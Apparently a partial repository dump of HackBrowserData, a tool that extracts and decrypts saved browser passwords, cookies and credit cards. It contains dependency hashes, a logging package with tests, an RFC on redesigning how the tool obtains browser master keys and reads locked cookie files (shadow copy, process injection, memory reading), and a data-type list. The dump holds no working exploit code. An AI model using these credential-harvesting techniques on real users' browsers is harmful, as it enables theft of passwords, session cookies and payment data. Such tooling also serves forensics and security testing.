github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU=
github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w=
github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8=
github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=
golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=
modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
modernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U=
modernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
modernc.org/sqlite v1.31.1 h1:XVU0VyzxrYHlBhIs1DiEgSl0ZtdnPtbLVy8hSkzxGrs=
modernc.org/sqlite v1.31.1/go.mod h1:UqoylwmTb9F+IqXERT8bW9zzOWN8qwAIcLdzeBZs4hA=
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
================================================
FILE: log/level/level.go
================================================
package level
// Level defines all the available levels we can log at
type Level int32
const (
// DebugLevel is the lowest level of logging.
// Debug logs are intended for debugging and development purposes.
DebugLevel Level = iota + 1
// WarnLevel is used for undesired but relatively expected events,
// which may indicate a problem.
WarnLevel
// ErrorLevel is used for undesired and unexpected events that
// the program can recover from.
ErrorLevel
// FatalLevel is used for undesired and unexpected events that
// the program cannot recover from.
FatalLevel
)
func (l Level) String() string {
switch l {
case DebugLevel:
return "DEBUG"
case WarnLevel:
return "WARN"
case ErrorLevel:
return "ERROR"
case FatalLevel:
return "FATAL"
default:
return "UNKNOWN"
}
}
================================================
FILE: log/log.go
================================================
package log
import (
"github.com/moond4rk/hackbrowserdata/log/level"
)
var (
// defaultLogger is the default logger used by the package-level functions.
defaultLogger = NewLogger(nil)
)
func SetVerbose() {
defaultLogger.SetLevel(level.DebugLevel)
}
func Debug(args ...any) {
defaultLogger.Debug(args...)
}
func Debugf(format string, args ...any) {
defaultLogger.Debugf(format, args...)
}
func Warn(args ...any) {
defaultLogger.Warn(args...)
}
func Warnf(format string, args ...any) {
defaultLogger.Warnf(format, args...)
}
func Error(args ...any) {
defaultLogger.Error(args...)
}
func Errorf(format string, args ...any) {
defaultLogger.Errorf(format, args...)
}
func Fatal(args ...any) {
defaultLogger.Fatal(args...)
}
func Fatalf(format string, args ...any) {
defaultLogger.Fatalf(format, args...)
}
================================================
FILE: log/logger.go
================================================
package log
import (
"fmt"
"io"
stdlog "log"
"os"
"runtime"
"strings"
"sync/atomic"
"github.com/moond4rk/hackbrowserdata/log/level"
)
// NewLogger creates and returns a new instance of Logger.
// Log level is set to DebugLevel by default.
func NewLogger(base Base) *Logger {
if base == nil {
base = newBase(os.Stderr)
}
return &Logger{base: base, minLevel: level.WarnLevel}
}
// Logger logs message to io.Writer at various log levels.
type Logger struct {
base Base
// Minimum log level for this logger.
// Message with level lower than this level won't be outputted.
minLevel level.Level
}
// canLogAt reports whether logger can log at level v.
func (l *Logger) canLogAt(v level.Level) bool {
return v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel)))
}
// SetLevel sets the logger level.
// It panics if v is less than DebugLevel or greater than FatalLevel.
func (l *Logger) SetLevel(v level.Level) {
if v < level.DebugLevel || v > level.FatalLevel {
panic("log: invalid log level")
}
atomic.StoreInt32((*int32)(&l.minLevel), int32(v))
}
func (l *Logger) Debug(args ...any) {
if !l.canLogAt(level.DebugLevel) {
return
}
l.base.Debug(args...)
}
func (l *Logger) Warn(args ...any) {
if !l.canLogAt(level.WarnLevel) {
return
}
l.base.Warn(args...)
}
func (l *Logger) Error(args ...any) {
if !l.canLogAt(level.ErrorLevel) {
return
}
l.base.Error(args...)
}
func (l *Logger) Fatal(args ...any) {
if !l.canLogAt(level.FatalLevel) {
return
}
l.base.Fatal(args...)
}
func (l *Logger) Debugf(format string, args ...any) {
if !l.canLogAt(level.DebugLevel) {
return
}
l.base.Debug(fmt.Sprintf(format, args...))
}
func (l *Logger) Warnf(format string, args ...any) {
if !l.canLogAt(level.WarnLevel) {
return
}
l.base.Warn(fmt.Sprintf(format, args...))
}
func (l *Logger) Errorf(format string, args ...any) {
if !l.canLogAt(level.ErrorLevel) {
return
}
l.base.Error(fmt.Sprintf(format, args...))
}
func (l *Logger) Fatalf(format string, args ...any) {
if !l.canLogAt(level.FatalLevel) {
return
}
l.base.Fatal(fmt.Sprintf(format, args...))
}
type Base interface {
Debug(args ...any)
Warn(args ...any)
Error(args ...any)
Fatal(args ...any)
}
// baseLogger is a wrapper object around log.Logger from the standard library.
// It supports logging at various log levels.
type baseLogger struct {
*stdlog.Logger
callDepth int
}
func newBase(out io.Writer) *baseLogger {
prefix := "[hack-browser-data] "
base := &baseLogger{
Logger: stdlog.New(out, prefix, stdlog.Lshortfile),
}
base.callDepth = base.calculateCallDepth()
return base
}
// calculateCallDepth returns the call depth for the logger.
func (l *baseLogger) calculateCallDepth() int {
return l.getCallDepth()
}
func (l *baseLogger) prefixPrint(prefix string, args ...any) {
args = append([]any{prefix}, args...)
if err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil {
_, _ = fmt.Fprintf(os.Stderr, "log output error: %v\n", err)
}
}
func (l *baseLogger) getCallDepth() int {
var defaultCallDepth = 2
pcs := make([]uintptr, 10)
n := runtime.Callers(defaultCallDepth, pcs)
frames := runtime.CallersFrames(pcs[:n])
for i := 0; i < n; i++ {
frame, more := frames.Next()
if !l.isLoggerPackage(frame.Function) {
return i + 1
}
if !more {
break
}
}
return defaultCallDepth
}
func (l *baseLogger) isLoggerPackage(funcName string) bool {
const loggerFuncName = "hackbrowserdata/log"
return strings.Contains(funcName, loggerFuncName)
}
// Debug logs a message at Debug level.
func (l *baseLogger) Debug(args ...any) {
l.prefixPrint("DEBUG: ", args...)
}
// Warn logs a message at Warning level.
func (l *baseLogger) Warn(args ...any) {
l.prefixPrint("WARN: ", args...)
}
// Error logs a message at Error level.
func (l *baseLogger) Error(args ...any) {
l.prefixPrint("ERROR: ", args...)
}
var osExit = os.Exit
// Fatal logs a message at Fatal level
// and process will exit with status set to 1.
func (l *baseLogger) Fatal(args ...any) {
l.prefixPrint("FATAL: ", args...)
osExit(1)
}
================================================
FILE: log/logger_test.go
================================================
package log
import (
"bytes"
"fmt"
"testing"
"github.com/stretchr/testify/assert"
level2 "github.com/moond4rk/hackbrowserdata/log/level"
)
const (
pattern = `^\[hack\-browser\-data] \w+\.go:\d+:`
)
type baseTestCase struct {
description string
message string
suffix string
level level2.Level
wantedPattern string
}
var (
baseTestCases = []baseTestCase{
{
description: "without trailing newline, logger adds newline",
message: "hello, hacker!",
suffix: "",
},
{
description: "with trailing newline, logger preserves newline",
message: "hello, hacker!",
suffix: "\n",
},
}
)
func TestLoggerDebug(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.DebugLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(level2.DebugLevel)
logger.Debug(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerWarn(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.WarnLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Warn(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerError(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.ErrorLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Error(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerFatal(t *testing.T) {
originalOsExit := osExit
defer func() { osExit = originalOsExit }()
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.FatalLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
logger := NewLogger(newBase(&buf))
logger.Fatal(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
})
}
}
type formatTestCase struct {
description string
format string
args []interface{}
level level2.Level
wantedPattern string
}
var (
formatTestCases = []formatTestCase{
{
description: "message with format prefix",
format: "hello, %s!",
args: []any{"Hacker"},
},
{
description: "message with format prefix",
format: "hello, %d,%d,%d!",
args: []any{1, 2, 3},
},
{
description: "message with format prefix",
format: "hello, %s,%d,%d!",
args: []any{"Hacker", 2, 3},
},
}
)
func TestLoggerDebugf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.DebugLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(level2.DebugLevel)
logger.Debugf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerWarnf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.WarnLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Warnf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerErrorf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.ErrorLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Errorf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerFatalf(t *testing.T) {
originalOsExit := osExit
defer func() { osExit = originalOsExit }()
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.FatalLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
logger := NewLogger(newBase(&buf))
logger.Fatalf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
})
}
}
func TestLoggerWithLowerLevels(t *testing.T) {
// Logger should not log messages at a level
// lower than the specified level.
levels := []level2.Level{level2.DebugLevel, level2.WarnLevel, level2.ErrorLevel, level2.FatalLevel}
ops := []struct {
op string
level level2.Level
logFunc func(*Logger)
expected bool
}{
{"Debug", level2.DebugLevel, func(l *Logger) { l.Debug("hello") }, false},
{"Warn", level2.WarnLevel, func(l *Logger) { l.Warn("hello") }, false},
{"Error", level2.ErrorLevel, func(l *Logger) { l.Error("hello") }, false},
{"Fatal", level2.FatalLevel, func(l *Logger) { l.Fatal("hello") }, false},
}
for _, setLevel := range levels {
for _, op := range ops {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(setLevel)
expectedOutput := op.level >= setLevel
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
op.logFunc(logger)
output := buf.String()
if expectedOutput {
assert.NotEmpty(t, output)
} else {
assert.Empty(t, output)
}
if op.op == "Fatal" {
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
}
}
}
}
================================================
FILE: rfc/001-architecture-refactoring.md
================================================
# RFC-001: HackBrowserData Architecture Refactoring
**Author**: moonD4rk
**Status**: Proposed
**Created**: 2025-09-01
**Updated**: 2025-09-01
## Abstract
This RFC analyzes the current architectural issues in the HackBrowserData project and proposes refactoring directions. The core goal of the refactoring is to establish a modular, extensible, and testable architecture while supporting usage as a library that can be imported by other projects.
## Current Issues Analysis
### 1. Limited Encryption Version Support
**Current State**:
- Only supports Chrome v10 (Chrome 80+) AES-GCM encryption format
- Hardcoded "v10" prefix handling logic in the code
- Lacks version detection and dynamic selection mechanism
**Impact**:
- Unable to support data extraction from older browser versions
- Cannot adapt to future browser encryption algorithm upgrades (e.g., v11, v20)
- Chrome is introducing new encryption mechanisms (e.g., App-Bound Encryption in Chrome 127+), which the current architecture struggles to extend
### 2. Scattered Cross-Platform MasterKey Retrieval
**Current State**:
- Windows: Decrypts encrypted_key from Local State via DPAPI
- macOS: Accesses Keychain through security command, derives key using PBKDF2
- Linux: Accesses Secret Service via D-Bus or uses hardcoded "peanuts" salt
**Issues**:
- Each platform implementation is completely independent without a unified interface
- Difficult to add new key retrieval methods
- Code duplication and maintenance challenges
- Chrome on Windows is updating retrieval methods, requiring support for multiple strategies
### 3. Windows Cookie File Access Permission Issues
**Specific Issues**:
- On Windows, browsers lock Cookie files during runtime
- Direct reading may encounter "The process cannot access the file" errors
- Some security software blocks access to Cookie files
**Current Approach Limitations**:
- Simple file copying may fail due to file locking
- Lacks alternative access strategies (e.g., shadow copy, process injection)
- No abstraction for permission elevation or bypass mechanisms
### 4. Coupled Code Architecture
**Problems**:
- CLI logic mixed with core functionality
- Data extraction, decryption, and output are tightly coupled
- Uses global variables and functions, difficult to use as a library
**Specific Impact**:
- Cannot use core functionality independently
- Difficult to unit test
- Code reuse challenges
### 5. Inconsistent Error Handling
**Current State**:
- Some functions return errors, others directly use logging
- Error messages lack context (which browser, data type, platform)
- Cannot distinguish error severity (ignorable vs. fatal errors)
**Impact**:
- Debugging difficulties with insufficient error information
- Cannot implement flexible error handling strategies
- Inconsistent user experience
### 6. Testing and Maintenance Difficulties
**Issues**:
- Depends on real file system and browser installations
- Cannot mock system calls and external dependencies
- Low test coverage
- Adding new features requires modifying multiple code locations
## Architecture Improvement Proposals
### 1. Versioned Encryption Strategies
**Design Approach**:
- Create encryption version interface where each version implements its own detection and decryption logic
- Use registration mechanism to manage all supported versions
- Support both automatic detection and manual version specification
**Key Capabilities**:
- Version Detection: Automatically identify encryption version through data characteristics
- Version Registration: Dynamically register new encryption version implementations
- Priority Control: Try different versions by priority
### 2. Unified MasterKey Retrieval Abstraction
**Design Approach**:
- Define cross-platform MasterKey retrieval interface
- Each platform can have multiple retrieval strategies
- Support strategy chain, trying different methods sequentially
**Windows Strategy Examples**:
- DPAPI Strategy (traditional method)
- App-Bound Strategy (Chrome 127+)
- Cloud Sync Strategy (potential future)
**Key Capabilities**:
- Platform detection and automatic selection
- Strategy priority and fallback mechanisms
- Error handling and logging
### 3. File Access Abstraction Layer
**Design Approach**:
- Create file access interface encapsulating different access strategies
- For Windows Cookie issues, implement multiple access methods
- Provide unified error handling and retry mechanisms
**Windows Cookie Access Strategies**:
- Direct Copy (current method)
- Volume Shadow Copy Service (VSS)
- Memory Reading (from browser process)
- Stream Reading (bypass exclusive locks)
### 4. Layered Package Structure
**Design Principles**:
- Separate public API from internal implementation
- Separate interface definitions from concrete implementations
- Isolate platform-specific code
**Package Structure Plan**:
```
pkg/ # Public API (externally importable)
├── browser/ # Browser interface definitions
├── crypto/ # Encryption interface definitions
└── extractor/ # Data extractor interface definitions
internal/ # Internal implementation (not exposed)
├── browser/ # Browser implementations
├── crypto/ # Encryption algorithm implementations
└── platform/ # Platform-specific implementations
```
### 5. Improved Browser Interface
**Design Goals**:
- Support dependency injection
- Configurable and extensible
- Easy to test
**Core Methods**:
- Configuration settings (profile, crypto provider, etc.)
- Data extraction (support selecting data types)
- Capability queries (supported data types and platforms)
### 6. Unified Error Handling
**Design Approach**:
- Define structured error types
- Include rich context information
- Support error classification and handling strategies
**Error Information Should Include**:
- Operation type
- Browser name
- Data type
- Platform information
- Severity level
- Original error
### 7. Library API Design
**Design Goals**:
- Provide clean client interface
- Support convenient methods for common use cases
- Allow advanced users to customize behavior
**Use Cases**:
- Simple: One-click extraction of all browser data
- Advanced: Custom encryption versions, error handling, data filtering
### 8. Testing Strategy
**Improvement Directions**:
- Use interfaces instead of concrete implementations
- Support dependency injection
- Provide mock implementations
**Test Types**:
- Unit tests: Test independent components
- Integration tests: Test component interactions
- Platform tests: Test platform-specific functionality
## Implementation Recommendations
### Priority Levels
1. **High Priority**:
- Versioned encryption strategies (solve version support issues)
- MasterKey retrieval abstraction (unify cross-platform implementations)
- Windows Cookie access issues (solve permission problems)
2. **Medium Priority**:
- Browser interface refactoring
- Unified error handling
- Basic testing framework
3. **Low Priority**:
- Complete library API
- Advanced feature extensions
- Performance optimizations
### Compatibility Considerations
- Keep CLI backward compatible, internally calling new architecture
- Provide migration documentation
- Gradually deprecate old APIs across versions
## Security Considerations
1. **Minimize Permissions**: Only request necessary system permissions
2. **Memory Safety**: Zero out sensitive data after use
3. **Error Messages**: Avoid leaking sensitive information
4. **Input Validation**: Strictly validate paths and data
## Open Questions
1. **File Access Strategy Selection**: How to automatically select the best file access strategy?
2. **Error Recovery**: How to gracefully recover and continue when encountering partial failures?
3. **Configuration Management**: Should configuration files be supported to control behavior?
4. **Plugin System**: Should user-defined data extractors be supported?
## References
- [Chromium OS Crypt](https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/)
- [Chrome Password Decryption](https://github.com/chromium/chromium/blob/main/components/os_crypt/sync/os_crypt_win.cc)
- [Firefox NSS](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS)
- [Windows File Locking](https://docs.microsoft.com/en-us/windows/win32/fileio/locking-and-unlocking-byte-ranges-in-files)
================================================
FILE: types/types.go
================================================
package types
import (
"fmt"
"os"
"path/filepath"
)
type DataType int
const (
ChromiumKey DataType = iota
ChromiumPassword
ChromiumCookie
ChromiumBookmark
ChromiumHistory
ChromiumDownload
ChromiumCreditCard
ChromiumLocalStorage
ChromiumSessionStorage
ChromiumExtension
YandexPassword
YandexCreditCard
